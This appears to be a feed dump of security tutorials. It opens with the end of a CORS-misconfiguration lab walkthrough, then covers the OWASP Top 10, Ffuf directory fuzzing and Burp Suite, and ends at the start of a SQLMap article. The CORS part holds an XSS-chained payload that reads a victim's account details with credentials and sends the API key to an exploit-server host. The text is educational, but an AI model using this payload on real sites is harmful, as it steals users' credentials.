</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*a-Fvk06eJoyL-9W9Oo5lvQ.png" alt="Figure 15 — shows the domain accepts its subdomains’ origins. https://medium.com/r3d-buck3t #cors #web #pentesting #hacking" width="1155" height="523" loading="lazy">
<em>Figure 15 — shows the domain accepts its subdomains’ origins.</em></p>
<p>If you encounter this scenario, you need to check all the existent subdomains and try to find one with an XSS vulnerability to exploit it.</p>
<p>In the Port Swigger lab #3, the application trusts its subdomain — <strong>stock</strong> — that is vulnerable to XSS vulnerability in the <code>**ProductId=**</code> parameter.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2082/1*HBCf3Iwa82ZAB0Frlll_pA.png" alt="Image" width="1262" height="515" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:2023/1*vqSoc_DI8kjbJTx-aF2DBg.png" alt="Image" width="1226" height="495" loading="lazy">
<em>Figures 16 &amp; 17 — show the stocks subdomain vulnerable to XSS in the ProductId parameter.</em></p>
<p>We will use the same script to exploit this case, except we will add the location where we inject the payload using the <code>**document.location**</code> function. Then we format the payload to be a one-liner payload so that we can pass it in the parameter.</p>
<pre><code>&lt;script&gt;
    <span class="hljs-built_in">document</span>.location=<span class="hljs-string">"http://subdomain.domain.com/?productId=&lt;script&gt;
    &lt;script&gt;
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "</span>APPLICATION URL/accountDetails<span class="hljs-string">",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  &lt;/script&gt; 
      &lt;/script&gt;</span>
</code></pre><p>After that, we save the script as <code>**cors_poc.html**</code><strong>,</strong> host it on our server, and send the link to the user.</p>
<pre><code>&lt;html&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-built_in">document</span>.location=<span class="hljs-string">"http://Insecure-subdomain/?productId=&lt;script&gt;var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script&gt;&amp;storeId=1"</span>
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span></span>
&lt;/html&gt;
</code></pre><p>As you can see below in the screenshots, when the user accessed the link, the script injected the payload in the <code>**productId**</code> parameter and retrieved the API key.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2454/1*bQu-QJBOmrH_DynC_VNbeg.png" alt="Image" width="1487" height="595" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:2531/1*-j8W-uY7yk-UmYol1cBzqg.png" alt="Image" width="1534" height="603" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1957/1*NiWGBfvbWHT8Y47BuVrJ0w.png" alt="Image" width="1186" height="580" loading="lazy">
<em>Figures 18, 19 &amp; 20 — show injecting the XSS payload and capturing the APi key in action.</em></p>
<h2 id="heading-unexploitable-case-wild-card">Unexploitable Case: Wild Card (*)</h2>
<p>The application is NOT vulnerable when the <strong>Access-Control-Allow-Origin</strong> is set to wildcard <code>*****</code> , even if the <strong>Access-Control-Allow-Credentials</strong> header is set to true. </p>
<p>This is because there is a safety check in place that disables the Allow-Credentials header when the origin is set to a wildcard.</p>
<h2 id="heading-mitigations">Mitigations</h2>
<ul>
<li>Implement proper CORS headers: The server can add appropriate CORS headers to allow cross-origin requests from only trusted sites.</li>
<li>Restrict access to sensitive data: It is important to restrict access to sensitive data to only trusted domains. This can be done by implementing access control measures such as authentication and authorization.</li>
</ul>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>In this tutorial, we have covered the basics of CORS as a security feature that prevents web pages from making unauthorized requests to different domains. </p>
<p>We also covered the standard CORS testing techniques for detecting and exploiting CORS misconfigurations with tools like Burp Suites and Chrome DevTools.</p>
<p>By implementing and testing CORS correctly, web developers can ensure their web applications are secure and avoid misconfigurations that let attackers access unauthorized resources and compromise the application's security.</p>
<h3 id="heading-resources">Resources</h3>
<ul>
<li><a target="_blank" href="https://ranakhalil.teachable.com/p/web-security-academy-video-series">https://ranakhalil.teachable.com/p/web-security-academy-video-series</a></li>
<li><a target="_blank" href="https://www.trustedsec.com/blog/cors-findings/">https://www.trustedsec.com/blog/cors-findings/</a></li>
<li><a target="_blank" href="https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations">https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations</a></li>
<li><a target="_blank" href="https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/">https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/</a></li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ OWASP Top 10 Vulnerabilities – A Guide for Pen-Testers & Bug Bounty Hunters ]]>
                </title>
                <description>
                    <![CDATA[ In this article, we will look at OWASP and the top 10 web application vulnerabilities they've identified. This is a useful topic for both web app pen-testers and bug bounty hunters. What do web app pen-testers and bug bounty hunters have in common? T... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/owasp-top-10-vulnerabilities/</link>
                <guid isPermaLink="false">66d0360c31fbfb6c3390f1f1</guid>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 13 Feb 2023 23:44:49 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/02/image-39-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In this article, we will look at OWASP and the top 10 web application vulnerabilities they've identified. This is a useful topic for both web app pen-testers and bug bounty hunters.</p>
<p>What do web app pen-testers and bug bounty hunters have in common? They are both hunting for bugs, but the latter makes more money ;)</p>
<p>Web application security is a broad topic. There are many ways a web app can be exploited. This can be a challenge for security engineers, especially if they are getting started in their careers.</p>
<p><a target="_blank" href="https://owasp.org/">OWASP</a>, short for Open Web Application Security Project, is an organization dedicated to improving software security. OWASP provides tools and resources for security engineers to help make their applications more secure.</p>
<p>OWASP’s most important contribution to cybersecurity is the OWASP Top 10 Vulnerabilities list. This list contains the 10 most critical web application security risks that should be monitored and prevented.</p>
<p>Knowing these 10 security risks will help you reduce the risk of attacks against your company’s web assets. It also helps bug-bounty hunters get an idea of what to look for while auditing web applications.</p>
<p>Let’s look at each OWASP vulnerability in detail.</p>
<h2 id="heading-injection-attacks">Injection Attacks</h2>
<p><img src="https://miro.medium.com/max/1050/0*a35--5rW6hbDhqL0.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: One.com</em></p>
<p>An injection is a type of vulnerability in which an attacker injects malicious code into a web app. Injections can lead to unauthorized access to sensitive data, loss of data, or even complete system compromise.</p>
<p>An example of an injection attack is SQL Injection. This is where an attacker injects malicious SQL code into a web application’s SQL query. This is performed when inputs into the web app are not properly checked. If successful, the malicious code gets executed by the database server.</p>
<p>Another example is Command Injection. Here, an attacker injects malicious shell commands into a web application. This can lead to devastating consequences including a complete system takeover.</p>
<p>To prevent injection attacks, check and sanitize all user input. Sanitizing is the removal of harmful or malicious data entered into the input box. </p>
<p>For example, if a user enters any characters other than an alphanumeric string, you can remove them before you send it to the backend and double check it in the backend as well. This helps to eliminate harmful or malicious content and protects against security threats.</p>
<p>Also, always use ready-made SQL queries in the backend instead of generating SQL queries on the fly. Additionally, keep all software and libraries up to date with the latest security patches.</p>
<h2 id="heading-insufficient-monitoring-and-logging">Insufficient Monitoring and Logging</h2>
<p><img src="https://miro.medium.com/max/1050/0*egLRXhlTvg1kMip1.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Scalyr</em></p>
<p>Insufficient monitoring and logging refers to the lack of proper monitoring and logging for a web server or database. This makes detection and response to security incidents difficult.</p>
<p>For example, if a system does not have proper logging in place, it will be difficult to detect when an attacker tries to compromise the system. Without real-time monitoring, it will be difficult to detect security incidents on time.</p>
<p>To address insufficient monitoring and logging, you should implement robust monitoring systems that capture a wide range of events. This includes logging access to sensitive data, network traffic, and system logs.</p>
<p>Include monitoring for network devices as well by using services like <a target="_blank" href="https://www.snort.org/">Snort</a>. Snort is a free open source network intrusion detection and prevention system. Also, review and analyze log data periodically to identify trends and potential security incidents.</p>
<h2 id="heading-broken-authentication">Broken Authentication</h2>
<p><img src="https://miro.medium.com/max/1050/0*BpaGMLQRVcYEOlKZ.jpg" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: SSL2BUY</em></p>
<p>Broken authentication refers to weaknesses in the authentication process. This includes issues such as weak or easily guessable passwords, lack of proper password management, and using vulnerable authentication mechanisms.</p>
<p>For example, an attacker can exploit a system that allows weak passwords by guessing common passwords from a list like <a target="_blank" href="https://github.com/praetorian-inc/Hob0Rules/blob/master/wordlists/rockyou.txt.gz">rockyou.txt</a>. They can also use brute-force tools like Hydra and other password-cracking tools to break encryption if a weak algorithm is used.</p>
<p>Another example is using easily guessable security questions, such as “What is your mother’s maiden name?”. An attacker who has done basic research on the target can easily answer these questions.</p>
<p>To prevent broken authentication, enable strong authentication mechanisms, such as multi-factor authentication (MFA). Enforce password recycling policies that require users to change passwords periodically.</p>
<h2 id="heading-sensitive-data-exposure">Sensitive Data Exposure</h2>
<p><img src="https://miro.medium.com/max/1050/0*JFK9HgJ9pVq6OuCn.jpg" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Spaceclick</em></p>
<p>Sensitive Data Exposure refers to storing and transmitting sensitive information without proper security. This includes passwords, credit card numbers, and personally identifiable information (PII).</p>
<p>The most common reason for this is lack of encryption. Encryption is the process of encoding information. This process converts the original text, known as plaintext, into an alternative form known as ciphertext. Ideally, only authorized parties can decipher a ciphertext back to plaintext and access the original information.</p>
<p>For example, if you have a database where you store passwords, you have to use some type of an encryption to protect your customer's passwords. If you store them as plaintext, you will be putting your customers under risk if you expose their passwords. </p>
<p>Without protective methods such as encryption, sensitive data exposure can result in the data being intercepted, stolen, or manipulated by an attacker. To mitigate this risk, always encrypt sensitive information when stored and transmitted.</p>
<p>Always store encrypted passwords instead of plain-text passwords. Enable access controls to ensure that only authorized personnel can access sensitive data.</p>
<h2 id="heading-xml-external-entities">XML External Entities</h2>
<p><img src="https://miro.medium.com/max/1050/0*2d-SrGkL8Jp3X0Uw.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Cobalt.io</em></p>
<p>XML External Entities is a vulnerability that affects XML processors. This happens when they parse XML input from a user without proper validation.</p>
<p>This vulnerability allows an attacker to inject malicious XML code into an XML document. This can lead to the exposure of sensitive information, denial of service, and even remote code execution.</p>
<p>To prevent XXE attacks, applications should validate and sanitize XML input. Disable XML external entity and DTD processing by default.</p>
<p>Whenever possible, use a less complex data format, such as JSON. Most APIs are now JSON-based, so it would be a win-win to move away from XML to JSON.</p>
<h2 id="heading-broken-access-control"><strong>Broken Access Control</strong></h2>
<p><img src="https://miro.medium.com/max/1028/0*l-JKIns3xdMmDsuk.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: JavatPoint</em></p>
<p>While authentication tells us whether a user can access a system, access control tells us who can access a specific resource in a system.</p>
<p>Broken Access Control happens when an application does not restrict access to sensitive resources. This includes files, database records, or even product features that should be limited to select users.</p>
<p>Broken access control can lead to unauthorized users being able to view, change, or delete sensitive data. To reduce this risk, enable strong access control policies like role-based access for users, admins, and others.</p>
<p>Assign access rights based on the principle of least privilege. This means users should only have the least access required to perform their job. Regular security audits and assessments will help identify these access control vulnerabilities.</p>
<h2 id="heading-security-misconfiguration">Security Misconfiguration</h2>
<p><img src="https://miro.medium.com/max/1008/0*ulgvx9jVahT5CFsb.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: MyF5</em></p>
<p>Security Misconfiguration arises when an application is not configured properly. This will result in the exposure of critical information, such as error messages or system details.</p>
<p>For example, if you don't change the default settings of your backend, it can expose the error message to the user instead of gracefully handling it. You can often see this in PHP sites that print an error in the browser instead of a 500 message.</p>
<p>To reduce this risk, hide all debug and error messages from your production application. Apply appropriate security controls and patches as needed, on time. Finally, perform regular security scans and assessments to make sure there is no misconfiguration in your applications.</p>
<h2 id="heading-cross-site-scripting-xss">Cross-Site Scripting (XSS)</h2>
<p><img src="https://miro.medium.com/max/1050/0*lV00-0_ua_8xQlUf.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Imperva</em></p>
<p>Cross-Site Scripting (XSS) is a common security issue in websites. If not handled, an attacker can inject malicious scripts into a web page. This script is then executed by the victim’s web browser.</p>
<p>Consider a website that allows users to post comments. An attacker could craft a comment that contains malicious JavaScript code and add it as a comment. If the input is not sanitized by the website, this code will execute on every user who opens the comments page.</p>
<p>XSS attacks can steal data such as login details, perform unauthorized actions on behalf of the victim, or even redirect the victim to a malicious website. To prevent XSS attacks, always sanitize user-generated content and double-check input data on the server side.</p>
<h2 id="heading-insecure-deserialization">Insecure Deserialization</h2>
<p><img src="https://miro.medium.com/max/1050/0*iJT40E_ArbQzB7qo.jpg" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Portswigger</em></p>
<p>Deserialization is the process of converting a stream of bytes back into a data structure that a program can then use. Insecure Deserialization occurs when a web app deserializes untrusted data.</p>
<p>For example, a web application may allow users to upload a file containing serialized Java objects as input. The web application then deserializes the objects and processes them.</p>
<p>An attacker can craft a malicious file, which, when deserialized, will execute malware. This will allow an attacker to perform various types of attacks, such as remote code execution and privilege escalation.</p>
<p>To prevent Insecure Deserialization attacks, double-check all inputs from the user. Limit the amount of code that runs with high privileges and ensure that you encrypt all sensitive data.</p>
<h2 id="heading-using-components-with-known-vulnerabilities">Using Components with Known Vulnerabilities</h2>
<p><img src="https://miro.medium.com/max/926/0*woyu85N8xKXrC6YK.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Wildnet</em></p>
<p>When you plan to use a piece of software, check for known vulnerabilities. There are many public databases like <a target="_blank" href="https://www.exploit-db.com/">exploitdb</a> that will help you look for issues with third-party software.</p>
<p>These databases contain publicly disclosed vulnerabilities for various software and applications. Failing to do this will leave your application open to attacks. An attacker will do the research for you and use these vulnerabilities to gain access to your system.</p>
<p>For example, your application may use a third-party library to handle file uploads, but that library might have a known vulnerability. This will leave the application open to attack, even if the rest of the application is secure.</p>
<p>Make sure you do your research before using any third-party software for your business.</p>
<h2 id="heading-summary">Summary</h2>
<p>To summarize, OWASP’s Top 10 vulnerabilities is a vital checklist. It helps us to keep our web applications and software secure. </p>
<p>As a pen-tester or a bug bounty hunter, you should be aware of these vulnerabilities to stay ahead of attackers.</p>
<p>Always sanitize user input, employ logging, and do your research before using any third-party software.</p>
<hr>
<p>Hope you found this article insightful. You can find more AI &amp; cybersecurity articles / videos <a target="_blank" href="https://www.manishmshiva.com/">on my website</a>. </p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Fuzz Hidden Directories and Files with Ffuf ]]>
                </title>
                <description>
                    <![CDATA[ Fuzzing is a technique used to test the security of a web application. It helps you find vulnerabilities you may not have discovered through other testing methods. Fuzzing also improves the overall quality and stability of a web application. In this ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-fuzz-hidden-directories-files-with-ffuf/</link>
                <guid isPermaLink="false">66d035e3ec0a2e1087e82423</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 19 Jan 2023 14:42:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-7.47.41-PM.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Fuzzing is a technique used to test the security of a web application. It helps you find vulnerabilities you may not have discovered through other testing methods. Fuzzing also improves the overall quality and stability of a web application.</p>
<p>In this article, we will look at what Fuzzing is in detail. You'll also learn about a popular fuzzing tool called FFUF, and we'll go through a step-by-step guide on how to use it to test a web application. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/01/image-34.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Whether you’re a seasoned pentester or just getting started, this article will give you the information you need to start using fuzzing to improve your web application pentesting skills.</p>
<h2 id="heading-what-is-fuzzing">What is Fuzzing?</h2>
<p>First, let’s define what fuzzing is. Fuzzing, in general, is a technique for finding vulnerabilities in software. We do this by providing unexpected or twisted input to the program.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/01/image-35.png" alt="Image" width="600" height="400" loading="lazy">
<em>How Fuzzing works</em></p>
<p>A simple example would be to generate a list of random file names and use fuzzing to see if they exist on the website. Another example would be to fuzz a login form with random inputs to see if we can crash the web application.</p>
<p>During a fuzzing test, we bombard the software with a large number of randomly generated inputs. We then observe the software to see how it handles these inputs.</p>
<p>If there are any unusual behaviors or errors, it means there is a vulnerability in the software. We can use fuzzing to test for a wide variety of vulnerabilities, including input validation issues, access control problems, and other types of security weaknesses.</p>
<h2 id="heading-what-is-ffuf">What is Ffuf?</h2>
<p>FFUF (Fuzz Faster U Fool) is a tool that automates the process of fuzzing. Ffuf is designed for security professionals to find vulnerabilities in web applications.</p>
<p>Ffuf does this by sending a large number of requests to a target with various payloads. Ffuf then analyzes the responses and tells us what worked and what didn’t.</p>
<p>We can use Ffuf to test for a wide variety of vulnerabilities, including input validation issues, access control problems, and other types of security weaknesses. </p>
<p>FFUF is also fast and flexible, allowing us to specify the inputs to use for fuzzing and the parameters for the requests sent to the target web application.</p>
<p>Ffuf is also extensively used in bug-bounty hunting, so if you plan to become a bug-bounty hunter, you will be using Ffuf on a daily basis.</p>
<h2 id="heading-how-to-install-ffuf">How to Install Ffuf</h2>
<p>Now that you know what Ffuf is, let’s see how to install and work with it.</p>
<p>If you are using Kali or Parrot, Ffuf comes pre-installed. Since Ffuf is written in the Go programming language, you should first install Go before installing Ffuf. </p>
<p><a target="_blank" href="https://go.dev/doc/install">Here is the link to install Go</a> if you don't have it installed.</p>
<p>Once you have installed Go, you can install FFuf by running the command:</p>
<pre><code>go install github.com/ffuf/ffuf@latest.
</code></pre><p>Once you install Ffuf, you can check the installation using the help command. You can also use the help command as a reference while working with Ffuf.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/01/image-36.png" alt="Image" width="600" height="400" loading="lazy">
<em>FFUF options</em></p>
<h2 id="heading-how-to-use-ffuf-to-find-hidden-files-amp-directories">How to Use Ffuf to Find Hidden Files &amp; Directories</h2>
<p>First, let's see how to find some hidden files on a website. We are going to provide two inputs to Ffuf, one is the URL and the other is a wordlist.</p>
<pre><code>ffuf  -u &lt;http:<span class="hljs-comment">//target.com/FUZZ&gt; -w &lt;wordlist&gt;</span>
</code></pre><p>If you don’t know what a wordlist is, <a target="_blank" href="https://www.youtube.com/watch?v=3gXu3rdH7jw&amp;t=18s&amp;ab_channel=StealthSecurity">you can find a video here</a>. A wordlist is just a list of words, in this case, a list of file names we are looking for on the website.</p>
<p>Here is a simple wordlist we can use.</p>
<pre><code>index.html
root.html
admin.html
admin
root
upload
assets
favicon.ico
style.css
public
</code></pre><p>You can see that the target URL has the FUZZ placeholder. This placeholder will be replaced with the words in the wordlist. </p>
<p>For example, if we have index.html in the wordlist, the URL will become <a target="_blank" href="http://target.com/index.html">target.com/index.html</a>. Ffuf will then hit this URL and tell us whether the file exists or not based on the website’s response.</p>
<p>Here is a sample response from Ffuf on running it on a target:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/01/image-37.png" alt="Image" width="600" height="400" loading="lazy">
<em>Fuzzing for hidden files and directories</em></p>
<p>This is how Ffuf works: it takes in a wordlist and tries to enumerate the target for the words in the wordlist. Let's see a couple more ways of using Ffuf.</p>
<h2 id="heading-how-to-fuzz-post-requests-with-ffuf">How to Fuzz POST Requests with Ffuf</h2>
<p>FFuf also allows you to specify different request methods and customize headers. This is useful when you are fuzzing APIs and individual web application endpoints.</p>
<p>For example, you can send a POST request with a custom header and a JSON payload.</p>
<pre><code>ffuf -X POST
-H <span class="hljs-string">"Content-Type: application/json"</span>
-d <span class="hljs-string">'{"key": "FUZZ"}'</span> -w wordlist.txt
-u &lt;http:<span class="hljs-comment">//target.com/endpoint&gt;</span>
</code></pre><h2 id="heading-how-to-use-filters-and-saving-results-with-ffuf">How to Use Filters and Saving Results with Ffuf</h2>
<p>When scanning large web applications, the results can be overwhelming. With Ffuf, you can also use various filters and options to narrow down the results.</p>
<p>For example, to only show responses with a status code of 200, you can use the <code>-sc</code> flag.</p>
<pre><code>ffuf -w wordlist.txt -u &lt;http:<span class="hljs-comment">//target.com/FUZZ&gt; -sc 200</span>
</code></pre><p>You can also save the scan results to a text file. This can then be imported into other tools like Metasploit or Burpsuite. You can use the <code>-of</code> flag to save the results to a text file.</p>
<pre><code>ffuf -w wordlist.txt -u &lt;http:<span class="hljs-comment">//target.com/FUZZ&gt; -of results.txt</span>
</code></pre><h2 id="heading-ffuf-documentation">Ffuf Documentation</h2>
<p>Here are some more things Ffuf can do:</p>
<ul>
<li>Ability to scan directories recursively</li>
<li>Advanced response filtering</li>
<li>Support for GET, POST, and other HTTP methods</li>
<li>Support for TLS/SSL connections</li>
<li>Performance optimization for speeding up scans</li>
<li>Output formatting for easy parsing</li>
<li>Integration with other tools such as Burp Suite</li>
</ul>
<p>These are just a few examples of using FFuf, but there are many more options and features available. I encourage you to check out the <a target="_blank" href="https://codingo.io/tools/ffuf/bounty/2020/09/17/everything-you-need-to-know-about-ffuf.html">awesome documentation</a> put together by Codingo.</p>
<h2 id="heading-summary">Summary</h2>
<p>Fuzzing is a technique for testing software by providing it with invalid, unexpected, or random data inputs. This is to make the software behave in an unexpected or insecure way.</p>
<p>Ffuf is a popular tool used for performing web application fuzzing. Whether you’re a pentester or just looking to improve the security of your web apps, this article will give you the knowledge you need to get started with fuzzing using ffuf.</p>
<p>Hope you enjoyed this article. You can find more about my articles and videos on <a target="_blank" href="https://www.manishmshiva.com/">my website</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use Burp Suite to Audit Web Applications – Pentesting and Bug Bounty Tool Overview ]]>
                </title>
                <description>
                    <![CDATA[ What is Burp Suite? Burp Suite is a powerful and widely-used web application testing platform. It helps security engineers identify potential risks in web applications. Burp Suite is also widely used by bug-bounty hunters. Since Burp Suite is a fully... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-audit-web-apps-with-burpsuite/</link>
                <guid isPermaLink="false">66d035d32b211a17e00e36dd</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 17 Jan 2023 14:00:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/01/burpsuite-article-image.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <h2 id="heading-what-is-burp-suite">What is Burp Suite?</h2>
<p>Burp Suite is a powerful and widely-used web application testing platform. It helps security engineers identify potential risks in web applications.</p>
<p>Burp Suite is also widely used by bug-bounty hunters. Since Burp Suite is a fully featured web-auditing platform, it comes with many tools to help you discover bugs in web applications. You can also use third-party modules to further improve Burp Suite's capabilities.</p>
<p>Burp Suite is an essential tool for any security testing team. In this article, we’ll take a closer look at the main components of Burp Suite, including the proxy, the intruder, and the repeater.</p>
<h2 id="heading-burp-proxy"><strong>Burp Proxy</strong></h2>
<p>One of the key components of Burp Suite is the Burp Proxy. This tool allows you to intercept and inspect traffic between your browser and the target. </p>
<p>By intercepting this traffic, you can understand exactly what data is being sent and received. This is useful for identifying potential vulnerabilities or misconfigurations in the application.</p>
<p>The proxy is particularly useful for identifying issues such as cross-site scripting (XSS) and SQL injection. </p>
<p>XSS is a type of security vulnerability that allows an attacker to inject malicious code into a web page. SQL injection allows an attacker to inject malicious SQL code into a web application. </p>
<p>By identifying these types of issues, you can take steps to mitigate them and improve the security of your application.</p>
<p>Also, Burp proxy allows us to forward requests to other Burp tools before sending them to the target. This allows us to further analyze the traffic and inspect individual requests and responses. This can be useful for identifying patterns or anomalies that might indicate a vulnerability.</p>
<h2 id="heading-burp-repeater"><strong>Burp Repeater</strong></h2>
<p>Another key component of Burp Suite is the Burp Repeater. The Repeater is a powerful tool that allows you to test the application by sending custom requests and analyzing the responses.</p>
<p>One of the key benefits of the Repeater is its ability to identify vulnerabilities that might not be visible during automated scans. Automated scans are useful for identifying a wide range of common vulnerabilities, but they may not be able to detect all the issues.</p>
<p>The Repeater gives us greater control over the testing process. It allows us to fine-tune our tests to identify specific vulnerabilities. For example, we will be able to identify a vulnerability by sending a request with a specific input.</p>
<p>By analyzing the response, we may find that the application is behaving in unexpected ways. This will indicate the possibility of a vulnerability. This vulnerability might not be detected using an automated scan, but it could potentially be exploited by an attacker.</p>
<p>The Repeater can also test the application’s resilience to specific types of attacks. For example, you can use the Repeater to send a series of requests to test the application’s ability to handle SQL injection or cross-site scripting (XSS) attacks. </p>
<p>By understanding the application’s behavior in these scenarios, you can take steps to improve its security.</p>
<h2 id="heading-burp-intruder"><strong>Burp Intruder</strong></h2>
<p>One of the most powerful tools in Burp Suite is the Burp Intruder. This tool allows you to launch automated attacks on web applications to test their security.</p>
<p>With the Burp Intruder, you can test for a wide range of vulnerabilities. This includes SQL injection, cross-site scripting (XSS), and directory traversal. The intruder is highly flexible, allowing us to customize our attacks.</p>
<p>We can also use the intruder to perform specific audits such as brute-forcing, dictionary attacks, and fuzzing. The Intruder also lets us target specific areas of the application by selecting custom parameters.</p>
<p>Given the damage Intruder can cause if used carelessly, Burp Suite has implemented rate-limiting in the community edition. This means that you can only use the Intruder for a certain number of requests, such as brute-forcing a login form, in the free version of the tool.</p>
<p>If you’re planning to use Burp Suite to audit your business applications, consider purchasing a commercial license. This will give you access to all the features of Burp Suite without any rate limits.</p>
<h2 id="heading-other-burp-tools"><strong>Other Burp Tools</strong></h2>
<p>Burp Suite also comes with many additional tools. These include the spider, scanner, decoder, sequencer, and comparer.</p>
<p>These tools serve as utilities in general web application audits. For example, the spider can help discover and map the content and structure of a web application. We can use the scanner to perform automated vulnerability scans.</p>
<p>The decoder helps to decode and analyze encoded data, while the sequencer enables us to test the randomness of tokens and session IDs. The comparer compares the behavior of different requests and responses. </p>
<p>In addition to these, there are also many third-party modules available in Burp Suite. These modules further extend the capabilities of Burp Suite to help us test our web applications.</p>
<h2 id="heading-summary"><strong>Summary</strong></h2>
<p>In conclusion, Burp Suite is a powerful set of tools for web application auditing. It includes a range of tools and features for testing the security of web applications. </p>
<p>The proxy, the intruder, and the repeater are some of the main components of Burp Suite, each one with a specific function for identifying and assessing security risks.</p>
<p>With the help of these tools, security professionals and testers can identify and mitigate risks in web applications. With all-around web auditing features, it is also an essential tool for bug-bounty hunters.</p>
<p>Hope you enjoyed this article. You can find more about my articles and videos on <a target="_blank" href="https://www.manishmshiva.com/">my website</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ SQL Injection Attacks – How to Use SQLMap to Find Database Vulnerabilities ]]>
                </title>
                <description>
                    <![CDATA[ Databases are the backbone of any application. They give us a way to store and organize large amounts of data in a way that we can easily access, manage, and update it. From small businesses to large-scale enterprises, databases play a critical role ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-protect-against-sql-injection-attacks/</link>
                <guid isPermaLink="false">66d035e5c1024fe75b758f1c</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ database ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ SQL ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 13 Dec 2022 00:40:15 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/12/Stealth-Security---Blog-Banner--27-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Databases are the backbone of any application. They give us a way to store and organize large amounts of data in a way that we can easily access, manage, and update it.</p>
<p>From small businesses to large-scale enterprises, databases play a critical role in keeping the systems up and running. Malicious actors always look to gain control of databases during cyberattacks.</p>
<p>In this article, you'll learn how attackers can gain control of databases and what you can do about it. </p>
<p><strong>Note that this article is for educational purposes only</strong>. If you do anything illegal and get in trouble, I'm not responsible. Always get permission from the site/system owner before scanning / brute-forcing / exploiting a system. </p>
<h2 id="heading-what-is-sql-injection">What is SQL Injection?</h2>
<p>SQL injection is a type of cyber attack in which an attacker inserts malicious code into an SQL statement. If successful, it will help the attacker gain access to sensitive data in a database. </p>
<p>Once the attacker takes control of the database, they can steal, modify or even delete the data.</p>
